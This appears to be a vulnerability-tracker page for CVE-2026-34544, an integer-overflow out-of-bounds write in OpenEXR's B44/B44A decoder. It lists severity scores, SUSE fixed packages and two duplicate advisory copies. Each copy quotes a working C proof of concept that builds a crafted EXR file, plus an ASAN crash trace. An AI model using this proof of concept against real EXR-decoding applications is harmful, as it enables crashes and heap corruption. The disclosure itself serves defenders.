CVE-2026-34544

highpriority · track · 29EPSS 0.002 · 16 %ileDEEURUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.24% (16th) EPSS
CVSS 7.3 · high
Is it mine?
18 products
Check your exposure
Who says so?
6 sources
cnnvd · enisa_euvd · fstec_bdu · osv

EPSS · scored 2026-10-27

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.8, a crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent). This issue has been patched in version 3.4.8.

01

remediations

Vendor fix, mitigation, or workaround guidance, as published by each source.

A vendor fix is available.

  • FixedlibIex-3_4-33-0:3.4.9-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibIex-3_4-33-0:3.4.9-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibIex-3_4-33-0:3.4.9-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibIex-3_4-33-0:3.4.9-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibIex-3_4-33-32bit-0:3.4.9-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibIex-3_4-33-32bit-0:3.4.9-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibIex-3_4-33-32bit-0:3.4.9-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibIex-3_4-33-32bit-0:3.4.9-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibIex-3_4-33-x86-64-v3-0:3.4.9-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibIex-3_4-33-x86-64-v3-0:3.4.9-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibIex-3_4-33-x86-64-v3-0:3.4.9-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibIex-3_4-33-x86-64-v3-0:3.4.9-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibIlmThread-3_4-33-0:3.4.9-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibIlmThread-3_4-33-0:3.4.9-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibIlmThread-3_4-33-0:3.4.9-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibIlmThread-3_4-33-0:3.4.9-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibIlmThread-3_4-33-32bit-0:3.4.9-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibIlmThread-3_4-33-32bit-0:3.4.9-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibIlmThread-3_4-33-32bit-0:3.4.9-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibIlmThread-3_4-33-32bit-0:3.4.9-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibIlmThread-3_4-33-x86-64-v3-0:3.4.9-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibIlmThread-3_4-33-x86-64-v3-0:3.4.9-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibIlmThread-3_4-33-x86-64-v3-0:3.4.9-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibIlmThread-3_4-33-x86-64-v3-0:3.4.9-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXR-3_4-33-0:3.4.9-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXR-3_4-33-0:3.4.9-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXR-3_4-33-0:3.4.9-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXR-3_4-33-0:3.4.9-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXR-3_4-33-32bit-0:3.4.9-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXR-3_4-33-32bit-0:3.4.9-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXR-3_4-33-32bit-0:3.4.9-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXR-3_4-33-32bit-0:3.4.9-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXR-3_4-33-x86-64-v3-0:3.4.9-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXR-3_4-33-x86-64-v3-0:3.4.9-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXR-3_4-33-x86-64-v3-0:3.4.9-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXR-3_4-33-x86-64-v3-0:3.4.9-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXRCore-3_4-33-0:3.4.9-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXRCore-3_4-33-0:3.4.9-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXRCore-3_4-33-0:3.4.9-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXRCore-3_4-33-0:3.4.9-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXRCore-3_4-33-32bit-0:3.4.9-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXRCore-3_4-33-32bit-0:3.4.9-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXRCore-3_4-33-32bit-0:3.4.9-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXRCore-3_4-33-32bit-0:3.4.9-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXRCore-3_4-33-x86-64-v3-0:3.4.9-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXRCore-3_4-33-x86-64-v3-0:3.4.9-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXRCore-3_4-33-x86-64-v3-0:3.4.9-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXRCore-3_4-33-x86-64-v3-0:3.4.9-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXRUtil-3_4-33-0:3.4.9-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXRUtil-3_4-33-0:3.4.9-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXRUtil-3_4-33-0:3.4.9-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXRUtil-3_4-33-0:3.4.9-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXRUtil-3_4-33-32bit-0:3.4.9-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXRUtil-3_4-33-32bit-0:3.4.9-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXRUtil-3_4-33-32bit-0:3.4.9-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXRUtil-3_4-33-32bit-0:3.4.9-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXRUtil-3_4-33-x86-64-v3-0:3.4.9-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXRUtil-3_4-33-x86-64-v3-0:3.4.9-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXRUtil-3_4-33-x86-64-v3-0:3.4.9-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • FixedlibOpenEXRUtil-3_4-33-x86-64-v3-0:3.4.9-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • Fixedopenexr-0:3.4.9-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • Fixedopenexr-0:3.4.9-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • Fixedopenexr-0:3.4.9-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • Fixedopenexr-0:3.4.9-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • Fixedopenexr-devel-0:3.4.9-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • Fixedopenexr-devel-0:3.4.9-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • Fixedopenexr-devel-0:3.4.9-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • Fixedopenexr-devel-0:3.4.9-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • Fixedopenexr-doc-0:3.4.9-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • Fixedopenexr-doc-0:3.4.9-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • Fixedopenexr-doc-0:3.4.9-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • Fixedopenexr-doc-0:3.4.9-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

02

cvss

Technical severity, 0–10. One row per scoring source.

8.4
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 5.3–8.4

v3.17.3highCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:Hprimary · NVD / NIST USexploitability 1.3 · impact 5.9
v3.16.3mediumAV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:Lsecondary · FSTEC (BDU) RU
v3.15.3mediumCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:Lsecondary · SUSE Product Security
v4.08.4highCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:Nsecondary · ENISA EU
v4.08.4highCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · security-advisories@github.com
v4.05.7mediumCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
03

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
04

weaknesses

The CWE weakness classes this flaw belongs to.

CWE-190USCWE-190USCWE-190USCWE-787USCWE-787US
05

affected products (18)

Products and version ranges known to be affected.

06

advisories (3)

Vendor and ecosystem advisories describing this.

  • openSUSE-SU-2026:10505-1libIex-3_4-33-3.4.9-1.1 on GA media2026-04-08csaf · suse_csafDE

    libIex-3_4-33-3.4.9-1.1 on GA media

  • GHSA-h762-rhv3-h25vOpenEXR: integer overflow to OOB write in uncompress_b44_impl()2026-04-03ghsa · osvUS

    ### Summary The B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y * nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write. ### Root cause * Variable declarations (internal_b44.c:535) ```c int nx, ny; ``` `nx` and `ny` are declared as plain int. They are assigned from `curc->width` and `curc->height` which are int32_t. * Scratch buffer allocation (internal_b44:543) ```c nBytes = (uint64_t) (ny) * (uint64_t) (nx) * (uint64_t) (curc->bytes_per_element); ``` The allocation path correctly promotes to uint64_t before multiplying. The scratch buffer is always large enough to hold the full channel. * Row pointer reconstruction (internal_b44:560) ```c row0 = (uint16_t*) scratch; row0 += y * nx; row1 = row0 + nx; row2 = row1 + nx; row3 = row2 + nx; ``` `y` and `nx` are both int. The product `y * nx` is computed in int. If this product exceeds INT_MAX (2,147,483,647), the result is signed integer overflow * Out of Band write (internal_b44:592) ```c memcpy (row0, &s[0], n); memcpy (row1, &s[4], n); memcpy (row2, &s[8], n); memcpy (row3, &s[12], n); ``` These four writes copy decoded B44 pixel blocks into row0–row3, which now point to memory before the scratch buffer. The same pattern is present in the encoder path (ht_apply_impl), lines 431–432, where row0–row3 are read rather than written, producing an out-of-bounds read. ### PoC The PoC generates a valid B44 scanline EXR file (268435456 × 9, single HALF channel) and immediately decodes it. During decompression, uncompress_b44_impl() computes `row0 += y * nx`, with y=8 and nx=268435456, the product exceeds INT_MAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/poc_b44.exr can be replayed independently on any OpenEXR installation. ```poc.cpp #include <openexr.h> #include <inttypes.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #define CHECK(call) do { exr_result_t _rv = (call); if (_rv != EXR_ERR_SUCCESS) { fprintf(stderr, "%s failed (%d)\n", #call, (int)_rv); goto fail; } } while (0) static void fill_blocks(uint8_t* out, uint64_t n) { for (uint64_t i = 0; i < n; i++, out += 3) { out[0] = 0x00; out[1] = 0x00; out[2] = (13u << 2); } } int main(void) { const int64_t W = 268435456; const int64_t H = 9; const char* path = "/tmp/poc_b44.exr"; const uint64_t blocks = (uint64_t)(W / 4) * 2 + 1; const uint64_t psz = blocks * 3; uint8_t* packed = (uint8_t*) malloc(psz); exr_context_t ctxt = NULL; exr_context_initializer_t cinit = EXR_DEFAULT_CONTEXT_INITIALIZER; int part = -1; exr_chunk_info_t cinfo; exr_decode_pipeline_t dec = EXR_DECODE_PIPELINE_INITIALIZER; uint16_t dummy = 0; int ok = 0; if (!packed) { fprintf(stderr, "malloc failed\n"); return 1; } fill_blocks(packed, blocks); CHECK(exr_start_write(&ctxt, path, EXR_WRITE_FILE_DIRECTLY, &cinit)); CHECK(exr_add_part(ctxt, "scan", EXR_STORAGE_SCANLINE, &part)); CHECK(exr_initialize_required_attr_simple( ctxt, part, (int32_t)W, (int32_t)H, EXR_COMPRESSION_B44)); CHECK(exr_add_channel(ctxt, part, "Y", EXR_PIXEL_HALF, EXR_PERCEPTUALLY_LOGARITHMIC, 1, 1)); CHECK(exr_write_header(ctxt)); CHECK(exr_write_scanline_chunk(ctxt, part, 0, packed, psz)); exr_finish(&ctxt); ctxt = NULL; fprintf(stderr, "[*] wrote %s W=%"PRId64" H=%"PRId64 " packed=%"PRIu64" bytes\n", path, W, H, psz); CHECK(exr_start_read(&ctxt, path, &cinit)); CHECK(exr_read_scanline_chunk_info(ctxt, 0, 0, &cinfo)); CHECK(exr_decoding_initialize(ctxt, 0, &cinfo, &dec)); dec.channels[0].decode_to_ptr = (uint8_t*)&dummy; dec.channels[0].user_pixel_stride = 2; dec.channels[0].user_line_stride = dec.channels[0].width * 2; dec.channels[0].user_bytes_per_element = 2; dec.channels[0].user_data_type = dec.channels[0].data_type; CHECK(exr_decoding_choose_default_routines(ctxt, 0, &dec)); dec.unpack_and_convert_fn = NULL; fprintf(stderr, "[*] calling exr_decoding_run()h\n"); fflush(stderr); CHECK(exr_decoding_run(ctxt, 0, &dec)); ok = 1; fail: if (ctxt) { exr_decoding_destroy(ctxt, &dec); exr_finish(&ctxt); } free(packed); return ok ? 0 : 1; } ``` ### ASAN Trace ``` openexr/src/lib/OpenEXRCore/internal_b44.c:561:23: runtime error: signed integer overflow: 8 * 268435456 cannot be represented in type 'int' #0 in uncompress_b44_impl internal_b44.c:561 #1 in internal_exr_undo_b44 internal_b44.c:706 #2 in decompress_data compression.c:444 #3 in exr_uncompress_chunk compression.c:541 #4 in exr_decoding_run decoding.c:580 #5 in main poc.c:83 ================================================================= ==PID==ERROR: AddressSanitizer: SEGV on unknown address 0x7fe65cfbc800 ==PID==The signal is caused by a WRITE memory access. #0 in memcpy (libc) #1 in uncompress_b44_impl internal_b44.c:599 #2 in internal_exr_undo_b44 internal_b44.c:706 #3 in decompress_data compression.c:444 #4 in exr_uncompress_chunk compression.c:541 #5 in exr_decoding_run decoding.c:580 #6 in main poc.c:83 SUMMARY: AddressSanitizer: SEGV — WRITE via memcpy in uncompress_b44_impl internal_b44.c:599 ``` ### Impact A crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent).

  • PYSEC-2026-2847OpenEXR: integer overflow to OOB write in uncompress_b44_impl()2026-07-13vendor · osvUS

    ### Summary The B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y * nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write. ### Root cause * Variable declarations (internal_b44.c:535) ```c int nx, ny; ``` `nx` and `ny` are declared as plain int. They are assigned from `curc->width` and `curc->height` which are int32_t. * Scratch buffer allocation (internal_b44:543) ```c nBytes = (uint64_t) (ny) * (uint64_t) (nx) * (uint64_t) (curc->bytes_per_element); ``` The allocation path correctly promotes to uint64_t before multiplying. The scratch buffer is always large enough to hold the full channel. * Row pointer reconstruction (internal_b44:560) ```c row0 = (uint16_t*) scratch; row0 += y * nx; row1 = row0 + nx; row2 = row1 + nx; row3 = row2 + nx; ``` `y` and `nx` are both int. The product `y * nx` is computed in int. If this product exceeds INT_MAX (2,147,483,647), the result is signed integer overflow * Out of Band write (internal_b44:592) ```c memcpy (row0, &s[0], n); memcpy (row1, &s[4], n); memcpy (row2, &s[8], n); memcpy (row3, &s[12], n); ``` These four writes copy decoded B44 pixel blocks into row0–row3, which now point to memory before the scratch buffer. The same pattern is present in the encoder path (ht_apply_impl), lines 431–432, where row0–row3 are read rather than written, producing an out-of-bounds read. ### PoC The PoC generates a valid B44 scanline EXR file (268435456 × 9, single HALF channel) and immediately decodes it. During decompression, uncompress_b44_impl() computes `row0 += y * nx`, with y=8 and nx=268435456, the product exceeds INT_MAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/poc_b44.exr can be replayed independently on any OpenEXR installation. ```poc.cpp #include <openexr.h> #include <inttypes.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #define CHECK(call) do { exr_result_t _rv = (call); if (_rv != EXR_ERR_SUCCESS) { fprintf(stderr, "%s failed (%d)\n", #call, (int)_rv); goto fail; } } while (0) static void fill_blocks(uint8_t* out, uint64_t n) { for (uint64_t i = 0; i < n; i++, out += 3) { out[0] = 0x00; out[1] = 0x00; out[2] = (13u << 2); } } int main(void) { const int64_t W = 268435456; const int64_t H = 9; const char* path = "/tmp/poc_b44.exr"; const uint64_t blocks = (uint64_t)(W / 4) * 2 + 1; const uint64_t psz = blocks * 3; uint8_t* packed = (uint8_t*) malloc(psz); exr_context_t ctxt = NULL; exr_context_initializer_t cinit = EXR_DEFAULT_CONTEXT_INITIALIZER; int part = -1; exr_chunk_info_t cinfo; exr_decode_pipeline_t dec = EXR_DECODE_PIPELINE_INITIALIZER; uint16_t dummy = 0; int ok = 0; if (!packed) { fprintf(stderr, "malloc failed\n"); return 1; } fill_blocks(packed, blocks); CHECK(exr_start_write(&ctxt, path, EXR_WRITE_FILE_DIRECTLY, &cinit)); CHECK(exr_add_part(ctxt, "scan", EXR_STORAGE_SCANLINE, &part)); CHECK(exr_initialize_required_attr_simple( ctxt, part, (int32_t)W, (int32_t)H, EXR_COMPRESSION_B44)); CHECK(exr_add_channel(ctxt, part, "Y", EXR_PIXEL_HALF, EXR_PERCEPTUALLY_LOGARITHMIC, 1, 1)); CHECK(exr_write_header(ctxt)); CHECK(exr_write_scanline_chunk(ctxt, part, 0, packed, psz)); exr_finish(&ctxt); ctxt = NULL; fprintf(stderr, "[*] wrote %s W=%"PRId64" H=%"PRId64 " packed=%"PRIu64" bytes\n", path, W, H, psz); CHECK(exr_start_read(&ctxt, path, &cinit)); CHECK(exr_read_scanline_chunk_info(ctxt, 0, 0, &cinfo)); CHECK(exr_decoding_initialize(ctxt, 0, &cinfo, &dec)); dec.channels[0].decode_to_ptr = (uint8_t*)&dummy; dec.channels[0].user_pixel_stride = 2; dec.channels[0].user_line_stride = dec.channels[0].width * 2; dec.channels[0].user_bytes_per_element = 2; dec.channels[0].user_data_type = dec.channels[0].data_type; CHECK(exr_decoding_choose_default_routines(ctxt, 0, &dec)); dec.unpack_and_convert_fn = NULL; fprintf(stderr, "[*] calling exr_decoding_run()h\n"); fflush(stderr); CHECK(exr_decoding_run(ctxt, 0, &dec)); ok = 1; fail: if (ctxt) { exr_decoding_destroy(ctxt, &dec); exr_finish(&ctxt); } free(packed); return ok ? 0 : 1; } ``` ### ASAN Trace ``` openexr/src/lib/OpenEXRCore/internal_b44.c:561:23: runtime error: signed integer overflow: 8 * 268435456 cannot be represented in type 'int' #0 in uncompress_b44_impl internal_b44.c:561 #1 in internal_exr_undo_b44 internal_b44.c:706 #2 in decompress_data compression.c:444 #3 in exr_uncompress_chunk compression.c:541 #4 in exr_decoding_run decoding.c:580 #5 in main poc.c:83 ================================================================= ==PID==ERROR: AddressSanitizer: SEGV on unknown address 0x7fe65cfbc800 ==PID==The signal is caused by a WRITE memory access. #0 in memcpy (libc) #1 in uncompress_b44_impl internal_b44.c:599 #2 in internal_exr_undo_b44 internal_b44.c:706 #3 in decompress_data compression.c:444 #4 in exr_uncompress_chunk compression.c:541 #5 in exr_decoding_run decoding.c:580 #6 in main poc.c:83 SUMMARY: AddressSanitizer: SEGV — WRITE via memcpy in uncompress_b44_impl internal_b44.c:599 ``` ### Impact A crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent).

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cnnvdenisa_euvdfstec_bduosvnvdsuse_csafNVDCVE.orgMITRE
published 2026-04-01modified 2026-10-26
09

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